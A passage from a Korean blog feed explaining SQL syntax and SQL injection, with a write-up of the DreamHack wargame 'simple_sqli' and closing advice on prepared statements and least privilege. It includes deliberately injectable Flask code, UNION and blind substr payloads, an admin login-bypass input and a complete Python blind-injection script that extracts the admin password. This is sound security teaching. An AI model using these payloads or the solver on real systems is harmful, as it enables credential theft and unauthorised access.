    [<span class="hljs-keyword">WHERE</span> where_condition]</code></pre>
<p><b>UPDATE는 데이터를 수정하는 구문</b>이다. 위는 MYSQL 공식 페이지에서 제공하는 UPDATE 구문의 예시이다.</p>
<p>UPDATE 구문에는 수정할 컬럼과 데이터를 정의하는 SET, 수정할 데이터의 조건을 정의하는 WHERE 등이 있다.</p>
<pre><code class="hljs language-n1ql"><span class="hljs-keyword">UPDATE</span> board
    <span class="hljs-keyword">SET</span> boardcontent = <span class="hljs-string">&quot;update content 2&quot;</span>
    <span class="hljs-keyword">WHERE</span> <span class="hljs-built_in">title</span> = <span class="hljs-string">&#x27;title 1&#x27;</span>;</code></pre>
<p>위는 UPDATE 구문을 사용한 예시이다. 쿼리를 살펴보면, <b>board 테이블의 boardcontent 컬럼을 “update content 2” 문자열로 수정</b>한다. 수정될 데이터의 <b>조건은 title 컬럼의 값이 “title 1”인 행인 것을 WHERE 절을 통해 알 수 있다.</b></p>
<h4>DELETE</h4>
<pre><code class="hljs language-n1ql"># mysql <span class="hljs-keyword">DELETE</span> https://dev.mysql.com/doc/refman/<span class="hljs-number">8.0</span>/en/<span class="hljs-keyword">delete</span>.html
<span class="hljs-keyword">DELETE</span> [LOW_PRIORITY] [QUICK] [<span class="hljs-keyword">IGNORE</span>] <span class="hljs-keyword">FROM</span> tbl_name [[<span class="hljs-keyword">AS</span>] tbl_alias]
    [<span class="hljs-keyword">PARTITION</span> (partition_name [, partition_name] ...)]
    [<span class="hljs-keyword">WHERE</span> where_condition]
    [<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> ...]
    [<span class="hljs-keyword">LIMIT</span> row_count]</code></pre>
<p><b>DELETE는 데이터를 삭제하는 구문</b>입니다. 위는 MYSQL 공식 페이지에서 제공하는 DELETE 구문의 예시이다.</p>
<p>DELETE 구문에는 삭제할 테이블을 정의하는 FROM, 삭제할 데이터의 조건을 정의하는 WHERE 절이 있다.</p>
<pre><code class="hljs language-n1ql"><span class="hljs-keyword">DELETE</span> <span class="hljs-keyword">FROM</span> board
    <span class="hljs-keyword">WHERE</span> <span class="hljs-built_in">title</span> = <span class="hljs-string">&#x27;title 1&#x27;</span>;</code></pre>
<p>위는 DELETE 구문을 사용한 예시이다. 쿼리를 살펴보면, <b>board 테이블의 title 컬럼이 “title 1”인 행을 삭제</b>하는 것을 알 수 있다.</p>
<p>위 DML 쿼리들을 사용해 <b>서비스의 CRUD 기능</b>을 <b>구현</b>할 수 있다.</p>
<h3>SQL 특징</h3>
<h4>UNION</h4>
<p><b>UNION은 다수의 SELECT 구문의 결과를 결합하는 절이다.</b> 해당 절을 통해 <b>다른 테이블에 접근하거나 원하는 쿼리 결과를 생성해 애플리케이션에서 처리하는 타 데이터를 조작할 수 있다.</b> 그렇기에 UNION은 애플리케이션이 데이터베이스 쿼리의 실행 결과를 출력하는 경우 유용하게 사용할 수 있는 절이다.</p>
<p>아래는 UNION 절의 사용 예시이다. username과 password 컬럼에 각각 &quot;DreamHack&quot;, &quot;DreamHack PW&quot;가 일치하는 데이터를 조회한 것을 알 수 있다.<br><b>UNION 절의 사용 예시</b></p>
<pre><code class="hljs language-coq">    mysql&gt; SELECT * FROM UserTable UNION SELECT <span class="hljs-string">&quot;DreamHack&quot;</span>, <span class="hljs-string">&quot;DreamHack PW&quot;</span>;
    /*
    +-----------+--------------+
    | <span class="hljs-type">username</span>  | <span class="hljs-type">password</span>     |
    <span class="hljs-type">+-----------+--------------+
    | admin</span>     | <span class="hljs-type">admin</span>        |
    <span class="hljs-type">| guest</span>     | <span class="hljs-type">guest</span>        |
    <span class="hljs-type">| DreamHack</span> | <span class="hljs-type">DreamHack</span> PW |
    <span class="hljs-type">+-----------+--------------+
    3</span> rows <span class="hljs-built_in">in</span> <span class="hljs-built_in">set</span> (<span class="hljs-number">0.01</span> sec)
    */</code></pre>
<p>해당 구문을 사용할 때에는 두 가지 필수 조건을 만족해야 한다.<br>첫 번째로는 <b>이전 SELECT 구문과 UNION을 사용한 구문의 실행 결과 중 컬럼의 갯수가 같아야 한다.</b><br>두 번째로는 <b>특정 DBMS에서 이전 SELECT 구문과 UNION을 사용한 구문의 컬럼 타입이 같아야 한다.</b></p>
<h4>서브 쿼리</h4>
<p><b>서브 쿼리 (Subquery)는 한 쿼리 내에 또 다른 쿼리를 사용하는 것을 의미</b>한다. 서브 쿼리를 사용하기 위해서는 <b>쿼리 내에서 괄호 안에 구문을 삽입</b>해야하며, SELECT 구문만 사용할 수 있다. 공격자는 <b>서브 쿼리를 통해 쿼리가 접근하는 테이블이 아닌 다른 테이블에 접근</b>하거나 <b>SELECT 구문을 사용하지 않는 쿼리문에서 SQL Injection 취약점이 발생할 때 SELECT 구문을 사용</b>할 수 있다.</p>
<pre><code class="hljs language-asciidoc">mysql&gt; SELECT 1,2,3,(SELECT 456); 
<span class="hljs-section">/*
+---+---+---+--------------+</span>
<span class="hljs-section">| 1 | 2 | 3 | (SELECT 456) |
+---+---+---+--------------+</span>
<span class="hljs-section">| 1 | 2 | 3 |          456 |
+---+---+---+--------------+</span>
1 row in set (0.00 sec)
*/</code></pre>
<p><b>서브 쿼리의 예시.</b></p>
<h5>COLUMNS 절</h5>
<p>SELECT 구문의 컬럼 절에서 <b>서브 쿼리를 사용할 때에는 단일 행 (Single Row)과 단일 컬럼(Single Column)이 반환</b>되도록 해야 한다. 복수의 행 또는 컬럼을 반환하면 에러가 발생한다.</p>
<pre><code class="hljs language-sql">     mysql<span class="hljs-operator">&gt;</span> <span class="hljs-keyword">SELECT</span> username, (<span class="hljs-keyword">SELECT</span> &quot;ABCD&quot; <span class="hljs-keyword">UNION</span> <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1234</span>) <span class="hljs-keyword">FROM</span> users;
    ERROR <span class="hljs-number">1242</span> (<span class="hljs-number">21000</span>): Subquery <span class="hljs-keyword">returns</span> more than <span class="hljs-number">1</span> <span class="hljs-type">row</span>
    mysql<span class="hljs-operator">&gt;</span> <span class="hljs-keyword">SELECT</span> username, (<span class="hljs-keyword">SELECT</span> &quot;ABCD&quot;, <span class="hljs-number">1234</span>) <span class="hljs-keyword">FROM</span> users;
    ERROR <span class="hljs-number">1241</span> (<span class="hljs-number">21000</span>): Operand should contain <span class="hljs-number">1</span> <span class="hljs-keyword">column</span>(s)</code></pre>
<h5>FROM 절</h5>
<p>FROM 절에서 사용하는 서브 쿼리를 인라인 뷰 (Inline View)라고 하며, 이는 <b>다중 행 (Multiple Row)과 다중 컬럼 (Multiple Column) 결과를 반환</b>할 수 있다. </p>
<pre><code class="hljs language-coq">     mysql&gt; SELECT * FROM (SELECT *, <span class="hljs-number">1234</span> FROM users) <span class="hljs-built_in">as</span> u;
    /*
    +----------+------+
    | <span class="hljs-type">username</span> | <span class="hljs-type">1234</span> |
    <span class="hljs-type">+----------+------+
    | admin</span>    | <span class="hljs-type">1234</span> |
    <span class="hljs-type">| guest</span>    | <span class="hljs-type">1234</span> |
    <span class="hljs-type">+----------+------+
    2</span> rows <span class="hljs-built_in">in</span> <span class="hljs-built_in">set</span> (<span class="hljs-number">0.00</span> sec)
    */</code></pre>
<h5>WHERE 절</h5>
<p>WHERE 절에서 서브 쿼리를 사용하면 <b>다중 행 결과를 반환하는 쿼리문을 실행</b>할 수 있다.</p>
<pre><code class="hljs language-asciidoc">mysql&gt; SELECT * FROM users WHERE username IN (SELECT &quot;admin&quot; UNION SELECT &quot;guest&quot;);
<span class="hljs-section">/*
+----------+----------+</span>
<span class="hljs-section">| username | password |
+----------+----------+</span>
| admin    | admin    |
<span class="hljs-section">| guest    | guest    |
+----------+----------+</span>
2 rows in set (0.00 sec)
*/</code></pre>
<h4>Application Logic</h4>
<p><b>SQL Injection은 애플리케이션 내부에서 사용하는 데이터베이스의 데이터를 조작하는 기법</b>이다. 만약, 특정 쿼리를 실행했을 때 쿼리의 실행 결과가 애플리케이션에서 보여지지 않는다면 <b>공격자 입장에서는 데이터베이스의 정보를 추측하기 어렵다.</b> 대부분의 애플리케이션은 데이터베이스의 결과에 따라 각기 다른 기능을 수행한다. 예를 들어, 특정 번호의 게시물을 조회할 때 번호에 일치하는 게시물이 있다면 이용자에게 보여주고, 없다면 게시물이 존재하지 않는다는 메시지를 출력한다. 이를 통해 <b>공격자는 참과 거짓을 구분하여 공격을 수행할 수 있다.(Blind SQL Injection)</b></p>
<pre><code class="hljs language-dart">## pip3 install <span class="hljs-title class_">PyMySQL</span> <span class="hljs-comment">//pymysql 라이브러리를 설치하기 위한 명령어</span>
    from flask <span class="hljs-keyword">import</span> <span class="hljs-title class_">Flask</span>, request
    <span class="hljs-keyword">import</span> pymysql
    app = <span class="hljs-title class_">Flask</span>(__name__)
    def <span class="hljs-title function_">getConnection</span>():
      <span class="hljs-keyword">return</span> pymysql.<span class="hljs-title function_">connect</span>(host=<span class="hljs-string">&#x27;localhost&#x27;</span>, user=<span class="hljs-string">&#x27;dream&#x27;</span>, password=<span class="hljs-string">&#x27;hack&#x27;</span>, db=<span class="hljs-string">&#x27;dreamhack&#x27;</span>, charset=<span class="hljs-string">&#x27;utf8&#x27;</span>)
    <span class="hljs-meta">@app</span>.<span class="hljs-title function_">route</span>(<span class="hljs-string">&#x27;/&#x27;</span> , methods=[<span class="hljs-string">&#x27;GET&#x27;</span>])
    def <span class="hljs-title function_">index</span>():
      username = request.args.<span class="hljs-title function_">get</span>(<span class="hljs-string">&#x27;username&#x27;</span>)
      sql = <span class="hljs-string">&quot;select username from users where username=&#x27;%s&#x27;&quot;</span> %username
      conn = <span class="hljs-title function_">getConnection</span>()
      curs = conn.<span class="hljs-title function_">cursor</span>(pymysql.cursors.<span class="hljs-title class_">DictCursor</span>)
      curs.<span class="hljs-title function_">execute</span>(sql)
      rows = curs.<span class="hljs-title function_">fetchall</span>()
      conn.<span class="hljs-title function_">close</span>()
      <span class="hljs-keyword">if</span>(rows[<span class="hljs-number">0</span>][<span class="hljs-string">&#x27;username&#x27;</span>] == <span class="hljs-string">&quot;admin&quot;</span>):
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;True&quot;</span>
      <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;False&quot;</span>
    app.<span class="hljs-title function_">run</span>(host=<span class="hljs-string">&#x27;0.0.0.0&#x27;</span>, port=<span class="hljs-number">8000</span>)</code></pre>
<p>위는 Flask 프레임워크를 사용한 예제 코드이다. 코드를 살펴보면, 인자로 전달된 username을 쿼리로 사용하면서 SQL Injection이 발생하며, 해당 쿼리의 결과로 username이 &quot;admin&quot;일 경우 참을, 아닌 경우에는 거짓을 반환한다.</p>
<h5>Logic 이용 공격</h5>
<p>데이터베이스가 아래와 같이 구성되어 있다고 가정하자.</p>
<table>
<thead>
<tr>
<th align="center">username</th>
<th align="center">password</th>
</tr>
</thead>
<tbody><tr>
<td align="center">admin</td>
<td align="center">Password_for_admin</td>
</tr>
<tr>
<td align="center">guest</td>
<td align="center">guest_Password</td>
</tr>
</tbody></table>
<h5>UNION을 사용한 공격</h5>
<p><b>UNION 절을 사용하면 두 개의 SELECT 구문의 결과를 반환하므로 참을 반환할 수 있다.</b> 아래는 SQL Injection으로 새로운 쿼리를 삽입한 모습이다. 공격 코드를 삽입하면 <b>UNION 절에서 &quot;admin&quot;을 반환하기 때문에 애플리케이션에서 참을 반환하게 된다.</b></p>
<p><b>UNION 절을 이용한 공격</b></p>
<pre><code class="hljs language-ada">    /?username=&#x27; union <span class="hljs-keyword">select</span> <span class="hljs-symbol">&#x27;admin</span>&#x27; <span class="hljs-comment">-- -</span>
    ==&gt; <span class="hljs-literal">True</span></code></pre>
<h5>비교 구문을 사용한 공격</h5>
<p>애플리케이션에서 &quot;admin&quot;을 반환해 관리자 권한으로 로그인하는 방법도 있지만 <b>관리자 계정의 비밀번호를 알아내는 방법 또한 존재</b>한다. SQL에서는 IF문을 사용해 비교 구문을 만들 수 있다. 해당 구문을 통해 <b>관리자 계정의 비밀번호를 한 글자씩 알아낼 수 있다.</b> 아래는 비교 구문을 통해 관리자 계정의 <b>비밀번호를 한 글자씩 알아내는 공격 쿼리</b>이다.</p>
<pre><code class="hljs language-routeros">    /?<span class="hljs-attribute">username</span>=<span class="hljs-string">&#x27; union select if(substr(password,1,1)=&#x27;</span>B&#x27;, <span class="hljs-string">&#x27;admin&#x27;</span>, <span class="hljs-string">&#x27;not admin&#x27;</span>) <span class="hljs-keyword">from</span><span class="hljs-built_in"> users </span>where <span class="hljs-attribute">username</span>=<span class="hljs-string">&#x27;admin&#x27;</span> -- -
    ==&gt; <span class="hljs-literal">False</span>
    /?<span class="hljs-attribute">username</span>=<span class="hljs-string">&#x27; union select if(substr(password,1,1)=&#x27;</span>P&#x27;, <span class="hljs-string">&#x27;admin&#x27;</span>, <span class="hljs-string">&#x27;not admin&#x27;</span>) <span class="hljs-keyword">from</span><span class="hljs-built_in"> users </span>where <span class="hljs-attribute">username</span>=<span class="hljs-string">&#x27;admin&#x27;</span> -- -
    ==&gt; <span class="hljs-literal">True</span>
    /?<span class="hljs-attribute">username</span>=<span class="hljs-string">&#x27; union select if(substr(password,2,1)=&#x27;</span>a&#x27;, <span class="hljs-string">&#x27;admin&#x27;</span>, <span class="hljs-string">&#x27;not admin&#x27;</span>) <span class="hljs-keyword">from</span><span class="hljs-built_in"> users </span>where <span class="hljs-attribute">username</span>=<span class="hljs-string">&#x27;admin&#x27;</span> -- -
    ==&gt; <span class="hljs-literal">True</span></code></pre>
<p>substr() 함수를 이용해 <b>비밀번호 첫 번째 바이트가 &#39;B&#39;인지 비교</b>하고, <b>반환 결과를 통해 비밀번호의 첫 번째 바이트는 &#39;B&#39;가 아님을 알 수 있다.</b> 이후 두 번째와 세 번째 쿼리의 반환 결과를 통해 <b>첫 번째 바이트가 &#39;P&#39;, 두 번째 바이트가 &#39;a&#39;인 것을 알아낼 수 있다.</b> 이와 같은 방법으로 <b>관리자 계정의 비밀번호를 알아낼 수 있다.</b></p>
<h3>wargame 풀이</h3>
<p><a href="https://dreamhack.io/wargame/challenges/24" target="_blank" rel="noopener">simple_sqli</a> 문제를 풀이해 보았다.</p>
<pre><code class="hljs language-dns">#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask<span class="hljs-punctuation">(</span>__name__<span class="hljs-punctuation">)</span>
app.secret_key = os.urandom<span class="hljs-punctuation">(</span><span class="hljs-number">32</span><span class="hljs-punctuation">)</span>

try:
    FLAG = open<span class="hljs-punctuation">(</span>&#x27;./flag.<span class="hljs-keyword">txt</span>&#x27;, &#x27;r&#x27;<span class="hljs-punctuation">)</span>.read<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
except:
    FLAG = &#x27;[**FLAG**]&#x27;

DATABASE = <span class="hljs-string">&quot;database.db&quot;</span>
if os.path.exists<span class="hljs-punctuation">(</span>DATABASE<span class="hljs-punctuation">)</span> == False:
    db = sqlite3.connect<span class="hljs-punctuation">(</span>DATABASE<span class="hljs-punctuation">)</span>
    db.execute<span class="hljs-punctuation">(</span>&#x27;create table users<span class="hljs-punctuation">(</span>userid char<span class="hljs-punctuation">(</span><span class="hljs-number">100</span><span class="hljs-punctuation">)</span>, userpassword char<span class="hljs-punctuation">(</span><span class="hljs-number">100</span><span class="hljs-punctuation">)</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;&#x27;)</span>
    db.execute<span class="hljs-punctuation">(</span>f&#x27;insert into users<span class="hljs-punctuation">(</span>userid, userpassword<span class="hljs-punctuation">)</span> values <span class="hljs-punctuation">(</span><span class="hljs-string">&quot;guest&quot;</span>, <span class="hljs-string">&quot;guest&quot;</span><span class="hljs-punctuation">)</span>, <span class="hljs-punctuation">(</span><span class="hljs-string">&quot;admin&quot;</span>, <span class="hljs-string">&quot;{binascii.hexlify(os.urandom(16)).decode(&quot;</span>utf8<span class="hljs-string">&quot;)}&quot;</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;&#x27;)</span>
    db.commit<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
    db.close<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

def get_db<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    db = getattr<span class="hljs-punctuation">(</span>g, &#x27;_database&#x27;, None<span class="hljs-punctuation">)</span>
    if db is None:
        db = g._database = sqlite3.connect<span class="hljs-punctuation">(</span>DATABASE<span class="hljs-punctuation">)</span>
    db.row_factory = sqlite3.Row
    return db

def query_db<span class="hljs-punctuation">(</span>query, one=True<span class="hljs-punctuation">)</span>:
    cur = get_db<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>.execute<span class="hljs-punctuation">(</span>query<span class="hljs-punctuation">)</span>
    rv = cur.fetchall<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
    cur.close<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
    return <span class="hljs-punctuation">(</span>rv[<span class="hljs-number">0</span>] if rv else None<span class="hljs-punctuation">)</span> if one else rv

@app.teardown_appcontext
def close_connection<span class="hljs-punctuation">(</span>exception<span class="hljs-punctuation">)</span>:
    db = getattr<span class="hljs-punctuation">(</span>g, &#x27;_database&#x27;, None<span class="hljs-punctuation">)</span>
    if db is not None:
        db.close<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>

@app.route<span class="hljs-punctuation">(</span>&#x27;/&#x27;<span class="hljs-punctuation">)</span>
def index<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    return render_template<span class="hljs-punctuation">(</span>&#x27;index.html&#x27;<span class="hljs-punctuation">)</span>

@app.route<span class="hljs-punctuation">(</span>&#x27;/login&#x27;, methods=[&#x27;GET&#x27;, &#x27;POST&#x27;]<span class="hljs-punctuation">)</span>
def login<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    if request.method == &#x27;GET&#x27;:
        return render_template<span class="hljs-punctuation">(</span>&#x27;login.html&#x27;<span class="hljs-punctuation">)</span>
    else:
        userid = request.form.get<span class="hljs-punctuation">(</span>&#x27;userid&#x27;<span class="hljs-punctuation">)</span>
        userpassword = request.form.get<span class="hljs-punctuation">(</span>&#x27;userpassword&#x27;<span class="hljs-punctuation">)</span>
        res = query_db<span class="hljs-punctuation">(</span>f&#x27;select * from users where userid=<span class="hljs-string">&quot;{userid}&quot;</span> and userpassword=<span class="hljs-string">&quot;{userpassword}&quot;</span>&#x27;<span class="hljs-punctuation">)</span>
        if res:
            userid = res[<span class="hljs-number">0</span>]
            if userid == &#x27;admin&#x27;:
                return f&#x27;hello {userid} flag is {FLAG}&#x27;
            return f&#x27;&lt;script&gt;alert<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;hello {userid}&quot;</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;history.go(-1);&lt;/script&gt;&#x27;</span>
        return &#x27;&lt;script&gt;alert<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;wrong&quot;</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;history.go(-1);&lt;/script&gt;&#x27;</span>

app.run<span class="hljs-punctuation">(</span>host=&#x27;<span class="hljs-number">0.0.0.0</span>&#x27;, port=<span class="hljs-number">8000</span><span class="hljs-punctuation">)</span></code></pre>
<p>FLAG 변수에 플래그가 담긴다.<br><img src="https://velog.velcdn.com/images/njw/post/a4d4ab87-c08e-46e2-b572-1c02bc17a89c/image.png" alt="[보안] SQL Injection 부셔보기!" width="427" height="97" loading="lazy" decoding="async"></p>
<p>get_db() 함수에서 <b>애플리케이션이 실행되는 동안 필요할 때마다 DB 연결 객체를 가져온다.</b></p>
<p>query_db() 함수에서 매번 커서를 만들고 닫는 번거로움을 줄여주는 <b>쿼리 실행 편의 기능을 담당한다.</b></p>
<p>close_connection() 함수는 연결 자동 종료 함수로써 <b>DB 연결을 명시적으로 닫아 메모리 누수나 파일 잠금 문제를 해결한다.</b></p>
<p><img src="https://velog.velcdn.com/images/njw/post/0dcbf818-8acc-4ab1-a81f-4639ab56a8b0/image.png" alt="[보안] SQL Injection 부셔보기!" width="1368" height="619" loading="lazy" decoding="async"></p>
<p>아래의 코드로 생성된 데이터베이스 구조는 아래와 같다. <b>userid와 userpassword 컬럼은 각각 이용자의 ID와 PW를 저장</b>한다. 아래 schema을 살펴보면, <b>guest 계정은 이용자가 알 수 있지만 admin 계정은 랜덤하게 생성된 16 바이트의 문자열이기 때문에 비밀번호를 예상할 수 없다.</b></p>
<p><b>users 테이블</b></p>
<table>
<thead>
<tr>
<th align="center">userid</th>
<th align="center">userpassword</th>
</tr>
</thead>
<tbody><tr>
<td align="center">guest</td>
<td align="center">guest</td>
</tr>
<tr>
<td align="center">admin</td>
<td align="center">랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트)</td>
</tr>
</tbody></table>
<p>아래 코드는 로그인 페이지를 구성하는 코드이다. 코드를 살펴보면, 메소드에 따른 요청마다 다른 기능을 수행하는 것을 알 수 있다.</p>
<h4>GET</h4>
<p>userid와 userpassword를 입력할 수 있는 로그인 페이지 제공. <b>userid와 password 입력창에 guest를 입력하면 로그인을 수행</b> 가능.</p>
<h5>POST</h5>
<p>이용자가 입력한 계정 정보가 데이터베이스에 존재하는지 확인. 이때, <b>로그인 계정이 admin일 경우 FLAG를 출력.</b><br><img src="https://velog.velcdn.com/images/njw/post/cd8af8aa-87b6-42df-937d-57dbb8ec37cb/image.png" alt="[보안] SQL Injection 부셔보기!" width="1169" height="400" loading="lazy" decoding="async"></p>
<h4>취약점 분석</h4>
<p>문제를 해결하기 위해선 <b>admin 계정으로 로그인해 플래그를 획득</b>해야 한다.</p>
<p>로그인을 진행할 때, <b>사용자의 입력값을 검증없이 그대로 쿼리에 삽입하므로..</b></p>
<h5>SQL injection</h5>
<pre><code class="hljs language-n1ql">    <span class="hljs-comment">/*
    ID: admin&quot; or &quot;1 , PW: DUMMY
    userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
    */</span>
    <span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> users <span class="hljs-keyword">WHERE</span> userid=<span class="hljs-string">&quot;admin&quot;</span> <span class="hljs-keyword">or</span> <span class="hljs-string">&quot;1&quot;</span> <span class="hljs-keyword">AND</span> userpassword=<span class="hljs-string">&quot;DUMMY&quot;</span></code></pre>
<p><b>userid에 admin&quot; or &quot;1 입력값을 삽입</b>하면 전체 쿼리가 userid=&quot;admin&quot; or &quot;1&quot; 조건이 되어 <b>뒤 AND 연산자를 무시하고 반드시 실행되도록 할 수 있다.</b><br><img src="https://velog.velcdn.com/images/njw/post/538c7fe6-a811-4c5e-8154-2bc4acdd23e6/image.png" alt="[보안] SQL Injection 부셔보기!" width="485" height="77" loading="lazy" decoding="async"></p>
<h5>Blind SQL injection</h5>
<p>/login에서 <b>폼 데이터를 POST할 때, id 값은 userid에 담기고 비밀번호 값은 userpassword에 담기는 것을 확인</b>할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/njw/post/8e539171-d47d-4bff-b6c4-0195b489512c/image.png" alt="[보안] SQL Injection 부셔보기!" width="1216" height="309" loading="lazy" decoding="async"></p>
<p>아래와 같은 페이로드를 이용해 비밀번호의 길이를 알아내 그 수 만큼 반복하여 <b>admin 계정의 비밀번호를 알아낼 수 있다.</b></p>
<pre><code class="hljs language-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> urljoin


<span class="hljs-keyword">class</span> <span class="hljs-title class_">Solver</span>:
    <span class="hljs-string">&quot;&quot;&quot;Solver for simple_SQLi challenge&quot;&quot;&quot;</span>
    
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, port: <span class="hljs-built_in">str</span></span>) -&gt; <span class="hljs-literal">None</span>:
        <span class="hljs-variable language_">self</span>._chall_url = <span class="hljs-string">f&quot;http://host1.dreamhack.games:<span class="hljs-subst">{port}</span>&quot;</span>
        <span class="hljs-variable language_">self</span>._login_url = urljoin(<span class="hljs-variable language_">self</span>._chall_url, <span class="hljs-string">&quot;login&quot;</span>)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_login</span>(<span class="hljs-params">self, userid: <span class="hljs-built_in">str</span>, userpassword: <span class="hljs-built_in">str</span></span>) -&gt; requests.Response:
        <span class="hljs-keyword">return</span> requests.post(<span class="hljs-variable language_">self</span>._login_url, data={<span class="hljs-string">&quot;userid&quot;</span>: userid, <span class="hljs-string">&quot;userpassword&quot;</span>: userpassword})

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_sqli</span>(<span class="hljs-params">self, query: <span class="hljs-built_in">str</span></span>) -&gt; requests.Response:
        <span class="hljs-keyword">return</span> <span class="hljs-variable language_">self</span>._login(<span class="hljs-string">f&#x27;&quot; or <span class="hljs-subst">{query}</span>-- &#x27;</span>, <span class="hljs-string">&quot;hi&quot;</span>)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_sqli_lt_binsearch</span>(<span class="hljs-params">self, query_tmpl: <span class="hljs-built_in">str</span>, low: <span class="hljs-built_in">int</span>, high: <span class="hljs-built_in">int</span></span>) -&gt; <span class="hljs-built_in">int</span>:
        <span class="hljs-keyword">while</span> low + <span class="hljs-number">1</span> &lt; high:
            mid = (low + high) // <span class="hljs-number">2</span>
            query = query_tmpl.<span class="hljs-built_in">format</span>(val=mid)
            <span class="hljs-keyword">if</span> <span class="hljs-string">&quot;hello&quot;</span> <span class="hljs-keyword">in</span> <span class="hljs-variable language_">self</span>._sqli(query).text:
                high = mid
            <span class="hljs-keyword">else</span>:
                low = mid
        <span class="hljs-keyword">return</span> (low + high) // <span class="hljs-number">2</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_find_password_length</span>(<span class="hljs-params">self, user: <span class="hljs-built_in">str</span>, max_pw_len: <span class="hljs-built_in">int</span> = <span class="hljs-number">100</span></span>) -&gt; <span class="hljs-built_in">int</span>:
        query_tmpl = <span class="hljs-string">f&#x27;((SELECT LENGTH(userpassword) WHERE userid=&quot;<span class="hljs-subst">{user}</span>&quot;) &lt; {{val}})&#x27;</span>
        <span class="hljs-keyword">return</span> <span class="hljs-variable language_">self</span>._sqli_lt_binsearch(query_tmpl, <span class="hljs-number">0</span>, max_pw_len)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_find_password</span>(<span class="hljs-params">self, user: <span class="hljs-built_in">str</span>, pw_len: <span class="hljs-built_in">int</span></span>) -&gt; <span class="hljs-built_in">str</span>:
        pw = <span class="hljs-string">&quot;&quot;</span>
        <span class="hljs-keyword">for</span> idx <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, pw_len + <span class="hljs-number">1</span>):
            query_tmpl = <span class="hljs-string">f&#x27;((SELECT SUBSTR(userpassword,<span class="hljs-subst">{idx}</span>,1) WHERE userid=&quot;<span class="hljs-subst">{user}</span>&quot;) &lt; CHAR({{val}}))&#x27;</span>
            pw += <span class="hljs-built_in">chr</span>(<span class="hljs-variable language_">self</span>._sqli_lt_binsearch(query_tmpl, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x7E</span>))
            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;<span class="hljs-subst">{idx}</span>. <span class="hljs-subst">{pw}</span>&quot;</span>)
        <span class="hljs-keyword">return</span> pw

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">solve</span>(<span class="hljs-params">self</span>) -&gt; <span class="hljs-literal">None</span>:
        pw_len = <span class="hljs-variable language_">self</span>._find_password_length(<span class="hljs-string">&quot;admin&quot;</span>)
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Length of the admin password is: <span class="hljs-subst">{pw_len}</span>&quot;</span>)
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Finding password:&quot;</span>)
        pw = <span class="hljs-variable language_">self</span>._find_password(<span class="hljs-string">&quot;admin&quot;</span>, pw_len)
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Password of the admin is: <span class="hljs-subst">{pw}</span>&quot;</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    port = sys.argv[<span class="hljs-number">1</span>]
    solver = Solver(port)
    solver.solve()</code></pre>
<p>플래그 획득 성공!<br><img src="https://velog.velcdn.com/images/njw/post/3497c214-f91e-4a32-9a88-d07f616ec6e6/image.png" alt="[보안] SQL Injection 부셔보기!" width="468" height="617" loading="lazy" decoding="async"></p>
<h3>SQL injection 방어</h3>
<p>SQL 인젝션은 결국 <b>사용자의 입력값이 단순 데이터가 아닌 SQL 쿼리로 인식되는 것</b>이기에<br>**매개변수화 쿼리(Prepared Statement)**를 이용해 <b>SQL 쿼리 구조를 선 정의하고 사용자의 입력값을 단순 데이터 취급하여 처리하면 방어</b>된다.<br>이외에도 <b>입력값 검증</b>과 웹 어플리케이션이 이용하는 DB 계정에 필요한 권한만 부여하는 **최소 권한 원칙(Principle of Least Privilege)**을 이용하면 더 좋다.</p>
<h2>마무리</h2>
<p>SQL 인젝션을 방어하기 위해서 Prepared Statement만 이용해봤었는데 최소 권한 원칙의 중요성을 다시금 상기하게 됐다. 앞으로는 잘 써야지!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[보안] CSRF 부셔보고 CORS 알아보기!</title>
